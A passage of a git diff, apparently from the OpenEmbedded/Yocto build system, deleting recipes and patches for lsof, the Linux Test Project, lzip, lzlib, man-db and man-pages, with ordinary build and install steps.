1From 4f05492ac07a7bbaf06dd8265b9cba329e1b53e9 Mon Sep 17 00:00:00 2001
2From: Ross Burton <ross.burton@arm.com>
3Date: Wed, 30 Aug 2017 15:05:16 +0800
4Subject: [PATCH] lsof: remove host information from version.h
5
6lsof doesn't embed the username or hostname in the build if SOURCE_DATE_EPOCH is
7defined, but this still embeds build paths. Delete all of the host details to
8ensure that no host information is leaked into the binary.
9
10Upstream-Status: Inappropriate
11Signed-off-by: Ross Burton <ross.burton@arm.com>
12Signed-off-by: Alexander Kanavin <alex@linutronix.de>
13---
14 autotools/version.h.in | 16 ++++-----
15 lib/dialects/linux/Makefile | 69 ++++++-------------------------------
16 2 files changed, 19 insertions(+), 66 deletions(-)
17
18diff --git a/autotools/version.h.in b/autotools/version.h.in
19index aac0b80..2e635a5 100644
20--- a/autotools/version.h.in
21+++ b/autotools/version.h.in
22@@ -37,13 +37,13 @@
23
24 #include "config.h"
25 #define LSOF_VERSION PACKAGE_VERSION
26-#define LSOF_HOST "@host@"
27-#define LSOF_LOGNAME "@logname@"
28-#define LSOF_USER "@user@"
29-#define LSOF_CC "@cc@"
30-#define LSOF_CCV "@ccv@"
31-#define LSOF_CCFLAGS "@ccflags@"
32-#define LSOF_LDFLAGS "@ldflags@"
33-#define LSOF_SYSINFO "@sysinfo@"
34+#define LSOF_HOST ""
35+#define LSOF_LOGNAME ""
36+#define LSOF_USER ""
37+#define LSOF_CC ""
38+#define LSOF_CCV ""
39+#define LSOF_CCFLAGS ""
40+#define LSOF_LDFLAGS ""
41+#define LSOF_SYSINFO ""
42
43 #endif
44diff --git a/lib/dialects/linux/Makefile b/lib/dialects/linux/Makefile
45index f8adaa6..7a79ca7 100644
46--- a/lib/dialects/linux/Makefile
47+++ b/lib/dialects/linux/Makefile
48@@ -83,64 +83,17 @@ ${LIB}: FRC
49 version.h: FRC
50 @echo Constructing version.h
51 @rm -f version.h
52- @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
53- @echo '#define LSOF_CC "${CC}"' >> version.h
54- @echo '#define LSOF_CCV "${CCV}"' >> version.h
55- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
56- @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
57- @if [ "X${LSOF_HOST}" = "X" ]; then \
58- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
59- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
60- else \
61- echo '#define LSOF_HOST ""' >> version.h; \
62- fi \
63- else \
64- if [ "${LSOF_HOST}" = "none" ]; then \
65- echo '#define LSOF_HOST ""' >> version.h; \
66- else \
67- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
68- fi \
69- fi
70- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
71- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
72- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
73- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
74- else \
75- echo '#define LSOF_LOGNAME ""' >> version.h; \
76- fi \
77- else \
78- if [ "${LSOF_LOGNAME}" = "none" ]; then \
79- echo '#define LSOF_LOGNAME ""' >> version.h; \
80- else \
81- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
82- fi; \
83- fi
84- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
85- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
86- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
87- else \
88- echo '#define LSOF_SYSINFO ""' >> version.h; \
89- fi \
90- else \
91- if [ "${LSOF_SYSINFO}" = "none" ]; then \
92- echo '#define LSOF_SYSINFO ""' >> version.h; \
93- else \
94- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
95- fi \
96- fi
97- @if [ "X${LSOF_USER}" = "X" ]; then \
98- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
99- echo '#define LSOF_USER "${USER}"' >> version.h; \
100- else \
101- echo '#define LSOF_USER ""' >> version.h; \
102- fi \
103- else \
104- if [ "${LSOF_USER}" = "none" ]; then \
105- echo '#define LSOF_USER ""' >> version.h; \
106- else \
107- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
108- fi \
109- fi
110+
111+ @echo '#define LSOF_BLDCMT ""' > version.h;
112+ @echo '#define LSOF_CC ""' >> version.h
113+ @echo '#define LSOF_CCV ""' >> version.h
114+ @echo '#define LSOF_CCFLAGS ""' >> version.h
115+ @echo '#define LSOF_CINFO ""' >> version.h
116+ @echo '#define LSOF_HOST ""' >> version.h
117+ @echo '#define LSOF_LDFLAGS ""' >> version.h
118+ @echo '#define LSOF_LOGNAME ""' >> version.h
119+ @echo '#define LSOF_SYSINFO ""' >> version.h
120+ @echo '#define LSOF_USER ""' >> version.h
121 @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
122
123 FRC:
diff --git a/meta/recipes-extended/lsof/lsof_4.99.5.bb b/meta/recipes-extended/lsof/lsof_4.99.5.bb
deleted file mode 100644
index 292db224af..0000000000
--- a/meta/recipes-extended/lsof/lsof_4.99.5.bb
+++ /dev/null
@@ -1,21 +0,0 @@
1SUMMARY = "LiSt Open Files tool"
2DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
3Its name stands for LiSt Open Files, and it does just that."
4HOMEPAGE = "http://people.freebsd.org/~abe/"
5SECTION = "devel"
6LICENSE = "Spencer-94"
7LIC_FILES_CHKSUM = "file://COPYING;md5=a48ac97a8550eff12395a2c0d6151510"
8
9SRC_URI = "git://github.com/lsof-org/lsof;branch=master;protocol=https;tag=${PV} \
10 file://remove-host-information.patch"
11SRCREV = "ed0fef9a134b64c9398075185534a76714c91179"
12
13inherit update-alternatives autotools pkgconfig manpages
14PACKAGECONFIG[manpages] = ""
15
16DEPENDS += "groff-native"
17
18ALTERNATIVE:${PN} = "lsof"
19ALTERNATIVE_LINK_NAME[lsof] = "${bindir}/lsof"
20# Make our priority higher than busybox
21ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/ltp/ltp/0001-Add-__clear_cache-declaration-for-clang.patch b/meta/recipes-extended/ltp/ltp/0001-Add-__clear_cache-declaration-for-clang.patch
deleted file mode 100644
index 24e8762f77..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-Add-__clear_cache-declaration-for-clang.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From a2ce04cb82d545f3dbab71de7fa55eaad3df3063 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 10 Jun 2024 22:52:56 -0700
4Subject: [PATCH] Add __clear_cache declaration for clang
5
6__clear_cache was enabled on RISCV recently with 7352ba02390116f1cd6a9b583860ba28aa0a1b7a
7however it fails to compile with clang19 on RISCV
8With this error
9
10 hugemmap15.c:51:2: error: call to undeclared function '__clear_cache'; ISO C99 and later do not support implicit function declarations [-Wimplicit-function-declaration]
11 51 | __clear_cache(p, p + COPY_SIZE);
12 | ^
13
14Upstream-Status: Submitted [https://lists.linux.it/pipermail/ltp/2024-June/038762.html]
15Signed-off-by: Khem Raj <raj.khem@gmail.com>
16Cc: Hui Min Mina Chou <minachou@andestech.com>
17---
18 testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c | 1 +
19 1 file changed, 1 insertion(+)
20
21diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c
22index 1dde9e87b..6a6f5fe5e 100644
23--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c
24+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c
25@@ -19,6 +19,7 @@
26
27 #if defined(__clang__)
28 #pragma clang optimize off
29+ void __clear_cache(void *start, void *end);
30 #endif
31
32 #define _GNU_SOURCE
diff --git a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
deleted file mode 100644
index 860b2f127f..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From bb9146dd322af98a7bb96ad0d84ec376589c6cde Mon Sep 17 00:00:00 2001
2From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com>
3Date: Wed, 29 Jul 2020 08:47:09 -0400
4Subject: [PATCH] Remove OOM tests from runtest/mm
5
6Disable OOM tests, as they might cause oeqa ssh connection lost
7
8Upstream-Status: Inappropriate [oe-core specific]
9Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com>
10[ pvorel: rebased for 20210927 ]
11Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
12---
13 runtest/mm | 6 ------
14 1 file changed, 6 deletions(-)
15
16diff --git a/runtest/mm b/runtest/mm
17index 41d624ad8..1e8c22638 100644
18--- a/runtest/mm
19+++ b/runtest/mm
20@@ -69,12 +69,6 @@ ksm07 ksm07
21 cpuset01 cpuset01
22 cpuset02 cpuset02
23
24-oom01 oom01
25-oom02 oom02
26-oom03 oom03
27-oom04 oom04
28-oom05 oom05
29-
30 swapping01 swapping01 -i 5
31
32 thp01 thp01 -I 120
diff --git a/meta/recipes-extended/ltp/ltp/0001-syscalls-semctl08-Skip-semctl08-when-__USE_TIME64_RE.patch b/meta/recipes-extended/ltp/ltp/0001-syscalls-semctl08-Skip-semctl08-when-__USE_TIME64_RE.patch
deleted file mode 100644
index 364e203e23..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-syscalls-semctl08-Skip-semctl08-when-__USE_TIME64_RE.patch
+++ /dev/null
@@ -1,45 +0,0 @@
1From 09364a758df9d89a0968894376f82f636441addb Mon Sep 17 00:00:00 2001
2From: Jiaying Song <jiaying.song.cn@windriver.com>
3Date: Fri, 23 May 2025 15:17:49 +0800
4Subject: [PATCH] syscalls/semctl08: Skip semctl08 when __USE_TIME64_REDIRECTS
5 is defined
6
7When __USE_TIME64_REDIRECTS is defined, glibc redirects struct semid_ds to a
864-bit time-safe version that omits the sem_otime_high and sem_ctime_high
9fields. As a result, the case becomes invalid and leads to incorrect behavior.
10
11This patch adds a check to skip the test when __USE_TIME64_REDIRECTS is
12defined, ensuring the test only runs when semid_ds structurally matches
13semid64_ds and the *_high fields are accessible.
14
15Upstream-Status: Submitted [https://lists.linux.it/pipermail/ltp/2025-May/043647.html]
16
17Signed-off-by: Jiaying Song <jiaying.song.cn@windriver.com>
18---
19 testcases/kernel/syscalls/ipc/semctl/semctl08.c | 8 +++++---
20 1 file changed, 5 insertions(+), 3 deletions(-)
21
22diff --git a/testcases/kernel/syscalls/ipc/semctl/semctl08.c b/testcases/kernel/syscalls/ipc/semctl/semctl08.c
23index f4549adf4..28776f266 100644
24--- a/testcases/kernel/syscalls/ipc/semctl/semctl08.c
25+++ b/testcases/kernel/syscalls/ipc/semctl/semctl08.c
26@@ -12,7 +12,11 @@
27 #include "tst_test.h"
28 #include "libnewipc.h"
29
30-#ifdef HAVE_SEMID64_DS_TIME_HIGH
31+#if !defined(HAVE_SEMID64_DS_TIME_HIGH)
32+TST_TEST_TCONF("test requires struct semid64_ds to have the time_high fields");
33+#elif defined(__USE_TIME64_REDIRECTS)
34+TST_TEST_TCONF("test requires __USE_TIME64_REDIRECTS to be undefined");
35+#else
36
37 static void run(void)
38 {
39@@ -49,6 +53,4 @@ static struct tst_test test = {
40 .test_all = run,
41 .needs_tmpdir = 1,
42 };
43-#else
44-TST_TEST_TCONF("test requires struct semid64_ds to have the time_high fields");
45 #endif
diff --git a/meta/recipes-extended/ltp/ltp_20250930.bb b/meta/recipes-extended/ltp/ltp_20250930.bb
deleted file mode 100644
index 1514aca8fe..0000000000
--- a/meta/recipes-extended/ltp/ltp_20250930.bb
+++ /dev/null
@@ -1,146 +0,0 @@
1SUMMARY = "Linux Test Project"
2DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
3HOMEPAGE = "https://linux-test-project.github.io/"
4SECTION = "console/utils"
5LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.0-or-later & LGPL-2.1-or-later & BSD-2-Clause"
6LIC_FILES_CHKSUM = "\
7 file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
8 file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
9 file://testcases/network/can/filter-tests/COPYING;md5=5b155ea7d7f86eae8e8832955d8b70bc \
10"
11
12DEPENDS = "attr libaio libcap acl openssl zip-native"
13DEPENDS:append:libc-musl = " fts "
14EXTRA_OEMAKE:append:libc-musl = " LIBC=musl "
15EXTRA_OECONF:append:libc-musl = " LIBS=-lfts "
16
17# since ltp contains x86-64 assembler which uses the frame-pointer register,
18# set -fomit-frame-pointer x86-64 to handle cases where optimisation
19# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
20# earlier in CFLAGS, etc.
21CFLAGS:append:x86-64 = " -fomit-frame-pointer"
22TUNE_CCARGS:remove:x86 = "-mfpmath=sse"
23TUNE_CCARGS:remove:x86-64 = "-mfpmath=sse"
24
25CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
26CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
27SRCREV = "d2550ffbbcfe163212cd7e9c132db65ae0fa06ed"
28
29SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \
30 file://0001-Remove-OOM-tests-from-runtest-mm.patch \
31 file://0001-Add-__clear_cache-declaration-for-clang.patch \
32 file://0001-syscalls-semctl08-Skip-semctl08-when-__USE_TIME64_RE.patch \
33 "
34
35inherit autotools-brokensep pkgconfig
36
37# Version 20220527 added KVM test infrastructure which currently fails to build with lld due to
38# SORT_NONE in linker script which isn't supported by gold:
39# https://sourceware.org/bugzilla/show_bug.cgi?id=18097
40# https://github.com/linux-test-project/ltp/commit/3fce2064b54843218d085aae326c8f7ecf3a8c41#diff-39268f0855c634ca48c8993fcd2c95b12a65b79e8d9fa5ccd6b0f5a8785c0dd6R36
41LDFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', '-fuse-ld=bfd', '', d)}"
42
43# After 0002-kvm-use-LD-instead-of-hardcoding-ld.patch
44# https://github.com/linux-test-project/ltp/commit/f94e0ef3b7280f886384703ef9019aaf2f2dfebb
45# it fails with lld also a bit later when trying to use *-payload.bin
46# http://errors.yoctoproject.org/Errors/Details/663094/
47# work around this by forcing .bfd linked in LD when ld-is-lld is in DISTRO_FEATURES
48KVM_LD = "${@bb.utils.contains_any('DISTRO_FEATURES', 'ld-is-lld', '${HOST_PREFIX}ld.bfd${TOOLCHAIN_OPTIONS} ${HOST_LD_ARCH}', '${LD}', d)}"
49
50TARGET_CC_ARCH += "${LDFLAGS}"
51
52export prefix = "/opt/${PN}"
53export exec_prefix = "/opt/${PN}"
54
55PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
56EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
57EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
58# ltp network/rpc test cases ftbfs when libtirpc is found
59EXTRA_OECONF += " --without-tirpc "
60
61do_compile() {
62 oe_runmake HOSTCC="${CC_FOR_BUILD}" HOST_CFLAGS="${CFLAGS_FOR_BUILD}" HOST_LDFLAGS="${LDFLAGS_FOR_BUILD}" KVM_LD="${KVM_LD}"
63}
64
65do_install(){
66 install -d ${D}${prefix}/
67 oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install include-install
68
69 # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
70 # as it lacks dependency on some perl moudle such as LWP::Simple
71 # And this script previously works as a tool for analyzing failures from LTP
72 # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
73 # http://khack.osdl.org to retrieve ltp test results run on
74 # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
75 rm -rf ${D}${prefix}/bin/STPfailure_report.pl
76
77 # The controllers memcg_stree test seems to cause us hangs and takes 900s
78 # (maybe we expect more regular output?), anyhow, skip it
79 sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
80}
81
82RDEPENDS:${PN} = "\
83 attr \
84 bash \
85 bc \
86 coreutils \
87 cpio \
88 cronie \
89 curl \
90 e2fsprogs \
91 e2fsprogs-mke2fs \
92 expect \
93 file \
94 findutils \
95 gawk \
96 gdb \
97 gzip \
98 iproute2 \
99 ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'iputils-ping6', '', d)} \
100 ldd \
101 libaio \
102 logrotate \
103 net-tools \
104 perl \
105 python3-core \
106 procps \
107 quota \
108 unzip \
109 util-linux \
110 which \
111 tar \
112"
113
114RRECOMMENDS:${PN} += "kernel-module-loop"
115
116FILES:${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
117
118# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
119INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
120INSANE_SKIP:${PN} += "already-stripped staticdev"
121
122CACHED_CONFIGUREVARS:libc-musl = "ac_cv_type_struct_mnt_id_req=no ac_cv_type_struct_statmount=no"
123
124remove_broken_musl_sources() {
125 [ "${TCLIBC}" = "musl" ] || return 0
126
127 cd ${S}
128 echo "WARNING: remove unsupported tests (until they're fixed)"
129
130 # sync with upstream
131 # https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh#L33
132 rm -rfv \
133 testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \
134 testcases/kernel/syscalls/getcontext/getcontext01.c \
135 testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \
136 testcases/kernel/syscalls/timer_create/timer_create01.c \
137 testcases/kernel/syscalls/timer_create/timer_create03.c \
138 testcases/kernel/syscalls/statmount/statmount02.c
139}
140do_patch[postfuncs] += "remove_broken_musl_sources"
141
142# Avoid file dependency scans, as LTP checks for things that may or may not
143# exist on the running system. For instance it has specific checks for
144# csh and ksh which are not typically part of OpenEmbedded systems (but
145# can be added via additional layers.)
146SKIP_FILEDEPS:${PN} = '1'
diff --git a/meta/recipes-extended/lzip/lzip_1.25.bb b/meta/recipes-extended/lzip/lzip_1.25.bb
deleted file mode 100644
index 590e35cb75..0000000000
--- a/meta/recipes-extended/lzip/lzip_1.25.bb
+++ /dev/null
@@ -1,42 +0,0 @@
1SUMMARY = "Lossless data compressor based on the LZMA algorithm"
2HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
3DESCRIPTION = "Lzip is a lossless data compressor with a user interface similar to the one of gzip or bzip2. Lzip uses a simplified form of the Lempel-Ziv-Markov chain-Algorithm (LZMA) stream format, chosen to maximize safety and interoperability."
4SECTION = "console/utils"
5LICENSE = "GPL-2.0-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=cca7f74ec83b7a9ce7ccd195aad471bd \
7 file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \
8 "
9
10SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
11SRC_URI[sha256sum] = "09418a6d8fb83f5113f5bd856e09703df5d37bae0308c668d0f346e3d3f0a56f"
12
13B = "${WORKDIR}/build"
14do_configure[cleandirs] = "${B}"
15
16CONFIGUREOPTS = "\
17 '--srcdir=${S}' \
18 '--prefix=${prefix}' \
19 '--exec-prefix=${exec_prefix}' \
20 '--bindir=${bindir}' \
21 '--datadir=${datadir}' \
22 '--infodir=${infodir}' \
23 '--sysconfdir=${sysconfdir}' \
24 'CXX=${CXX}' \
25 'CPPFLAGS=${CPPFLAGS}' \
26 'CXXFLAGS=${CXXFLAGS}' \
27 'LDFLAGS=${LDFLAGS}' \
28"
29
30do_configure () {
31 ${S}/configure ${CONFIGUREOPTS}
32}
33
34do_install () {
35 oe_runmake 'DESTDIR=${D}' install
36 # Info dir listing isn't interesting at this point so remove it if it exists.
37 if [ -e "${D}${infodir}/dir" ]; then
38 rm -f ${D}${infodir}/dir
39 fi
40}
41
42BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lzip/lzlib_1.15.bb b/meta/recipes-extended/lzip/lzlib_1.15.bb
deleted file mode 100644
index 087b781873..0000000000
--- a/meta/recipes-extended/lzip/lzlib_1.15.bb
+++ /dev/null
@@ -1,39 +0,0 @@
1SUMMARY = "Data compression library providing in-memory LZMA compression and decompression functions"
2HOMEPAGE = "https://www.nongnu.org/lzip/lzlib.html"
3DESCRIPTION = "Lzlib is a data compression library providing in-memory LZMA compression and decompression functions, including integrity checking of the decompressed data. The compressed data format used by the library is the lzip format. Lzlib is written in C. "
4LICENSE = "BSD-2-Clause"
5LIC_FILES_CHKSUM = "file://COPYING;md5=04d943636aa1482e0a97d924d9f4f68f \
6 "
7
8SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzlib/lzlib-${PV}.tar.gz"
9SRC_URI[sha256sum] = "4afab907a46d5a7d14e927a1080c3f4d7e3ca5a0f9aea81747d8fed0292377ff"
10
11B = "${WORKDIR}/build"
12do_configure[cleandirs] = "${B}"
13
14CONFIGUREOPTS = "\
15 '--srcdir=${S}' \
16 '--prefix=${prefix}' \
17 '--exec-prefix=${exec_prefix}' \
18 '--bindir=${bindir}' \
19 '--datadir=${datadir}' \
20 '--infodir=${infodir}' \
21 '--libdir=${libdir}' \
22 '--sysconfdir=${sysconfdir}' \
23 '--enable-shared' \
24 '--disable-static' \
25 'CC=${CC}' \
26 'CPPFLAGS=${CPPFLAGS}' \
27 'CXXFLAGS=${CXXFLAGS}' \
28 'LDFLAGS=${LDFLAGS}' \
29"
30
31do_configure () {
32 ${S}/configure ${CONFIGUREOPTS}
33}
34
35do_install () {
36 oe_runmake 'DESTDIR=${D}' install
37}
38
39BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/man-db/files/99_mandb b/meta/recipes-extended/man-db/files/99_mandb
deleted file mode 100644
index 9b8a1712b7..0000000000
--- a/meta/recipes-extended/man-db/files/99_mandb
+++ /dev/null
@@ -1 +0,0 @@
1d man man 0755 /var/cache/man none
diff --git a/meta/recipes-extended/man-db/man-db_2.13.1.bb b/meta/recipes-extended/man-db/man-db_2.13.1.bb
deleted file mode 100644
index f044a47f7d..0000000000
--- a/meta/recipes-extended/man-db/man-db_2.13.1.bb
+++ /dev/null
@@ -1,68 +0,0 @@
1SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
2HOMEPAGE = "http://man-db.nongnu.org/"
3DESCRIPTION = "man-db is an implementation of the standard Unix documentation system accessed using the man command. It uses a Berkeley DB database in place of the traditional flat-text whatis databases."
4LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later & GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
6 file://docs/COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
7 file://docs/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
8 "
9
10SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
11 file://99_mandb \
12 "
13SRC_URI[sha256sum] = "8afebb6f7eb6bb8542929458841f5c7e6f240e30c86358c1fbcefbea076c87d9"
14
15DEPENDS = "libpipeline gdbm groff-native base-passwd"
16RDEPENDS:${PN} += "base-passwd"
17PACKAGE_WRITE_DEPS += "base-passwd"
18
19inherit gettext pkgconfig autotools systemd
20
21EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_system_unitdir}"
22EXTRA_AUTORECONF += "-I ${S}/gl/m4"
23
24PACKAGECONFIG ??= ""
25
26PACKAGECONFIG[bzip2] = "--with-bzip2=bzip2,ac_cv_prog_have_bzip2='',bzip2"
27# util-linux col is deprecated and only builds for glibc
28PACKAGECONFIG[col] = "--with-col=col,--with-col=,,util-linux-col"
29PACKAGECONFIG[gzip] = "--with-gzip=gzip,ac_cv_prog_have_gzip='',gzip"
30PACKAGECONFIG[lzip] = "--with-lzip=lzip,ac_cv_prog_have_lzip='',lzip"
31PACKAGECONFIG[lzma] = "--with-lzma=lzma,ac_cv_prog_have_lzma='',xz"
32PACKAGECONFIG[zstd] = "--with-zstd=zstd,ac_cv_prog_have_zstd='',zstd"
33PACKAGECONFIG[xz] = "--with-xz=xz,ac_cv_prog_have_xz='',xz"
34
35do_install() {
36 autotools_do_install
37
38 if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
39 install -d ${D}/etc/default/volatiles
40 install -m 0644 ${UNPACKDIR}/99_mandb ${D}/etc/default/volatiles
41 fi
42}
43
44FILES:${PN} += "${prefix}/lib/tmpfiles.d"
45
46FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
47
48RDEPENDS:${PN} += "groff"
49RRECOMMENDS:${PN} += "less"
50# iconv from glibc-utils can be used to transform encoding
51RRECOMMENDS:${PN}:append:libc-glibc = " glibc-utils"
52RPROVIDES:${PN} += "man"
53
54def compress_pkg(d):
55 if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
56 compress = d.getVar("DOC_COMPRESS")
57 if compress == "gz":
58 return "gzip"
59 elif compress == "bz2":
60 return "bzip2"
61 elif compress == "xz":
62 return "xz"
63 return ""
64
65RDEPENDS:${PN} += "${@compress_pkg(d)}"
66
67SYSTEMD_SERVICE:${PN} = "man-db.timer man-db.service"
68SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-pages/man-pages_6.15.bb b/meta/recipes-extended/man-pages/man-pages_6.15.bb
deleted file mode 100644
index f01867d0f9..0000000000
--- a/meta/recipes-extended/man-pages/man-pages_6.15.bb
+++ /dev/null
@@ -1,50 +0,0 @@
1SUMMARY = "Linux man-pages"
2DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
3SECTION = "console/utils"
4HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
5LICENSE = "GPL-2.0-or-later & GPL-2.0-only & GPL-1.0-or-later & BSD-2-Clause & BSD-3-Clause & BSD-4-Clause-UC & MIT"
6
7LIC_FILES_CHKSUM = "file://README;md5=c2d6fa1a74bdd79c25de6f4db7332294 \
8 file://LICENSES/BSD-2-Clause.txt;md5=9e16594a228301089d759b4f178db91f \
9 file://LICENSES/BSD-3-Clause.txt;md5=407426fcc1a243b7b2eff6e35c56aca9 \
10 file://LICENSES/BSD-4-Clause-UC.txt;md5=1da3cf8ad50cd8d5d1de3cfc53196d01 \
11 file://LICENSES/GPL-1.0-or-later.txt;md5=e5b7c80002ef72ab868b43ce47b65125 \
12 file://LICENSES/GPL-2.0-only.txt;md5=3d26203303a722dedc6bf909d95ba815 \
13 file://LICENSES/GPL-2.0-or-later.txt;md5=3d26203303a722dedc6bf909d95ba815 \
14 file://LICENSES/Linux-man-pages-1-para.txt;md5=97ab07585ce6700273bc66461bf46bf2 \
15 file://LICENSES/Linux-man-pages-copyleft-2-para.txt;md5=1cafc230857da5e43f3d509c425d3c64 \
16 file://LICENSES/Linux-man-pages-copyleft.txt;md5=173b960c686ff2d26f043ddaeb63f6ce \
17 file://LICENSES/Linux-man-pages-copyleft-var.txt;md5=d33708712c5918521f47f23b0c4e0d20 \
18 file://LICENSES/MIT.txt;md5=7dda4e90ded66ab88b86f76169f28663 \
19 "
20SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz \
21 "
22
23SRC_URI[sha256sum] = "f0ede747b98732cb6d5bd36e9ab54101ea7ae5f78a8b8d7289ced01c1a6ec937"
24
25inherit manpages lib_package
26
27MAN_PKG = "${PN}"
28
29PACKAGECONFIG ??= ""
30PACKAGECONFIG[manpages] = ""
31
32do_configure[noexec] = "1"
33do_compile[noexec] = "1"
34
35EXTRA_OEMAKE += "-R"
36do_install() {
37 oe_runmake install prefix=${prefix} DESTDIR=${D}
38 rm -rf ${D}${mandir}/man3/crypt.3
39 rm -rf ${D}${mandir}/man3/crypt_r.3
40 rm -rf ${D}${mandir}/man3/getspnam.3
41 rm -rf ${D}${mandir}/man5/passwd.5
42}
43
44RDEPENDS:${PN}-bin += " \
45 bash \
46"
47
48# Only deliveres man-pages so FILES:${PN} gets everything
49FILES:${PN}-doc = ""
50FILES:${PN} = "${mandir}/*"
diff --git a/meta/recipes-extended/mc/files/nomandate.patch b/meta/recipes-extended/mc/files/nomandate.patch
deleted file mode 100644
index 297d2c7bd1..0000000000
--- a/meta/recipes-extended/mc/files/nomandate.patch
+++ /dev/null
@@ -1,32 +0,0 @@
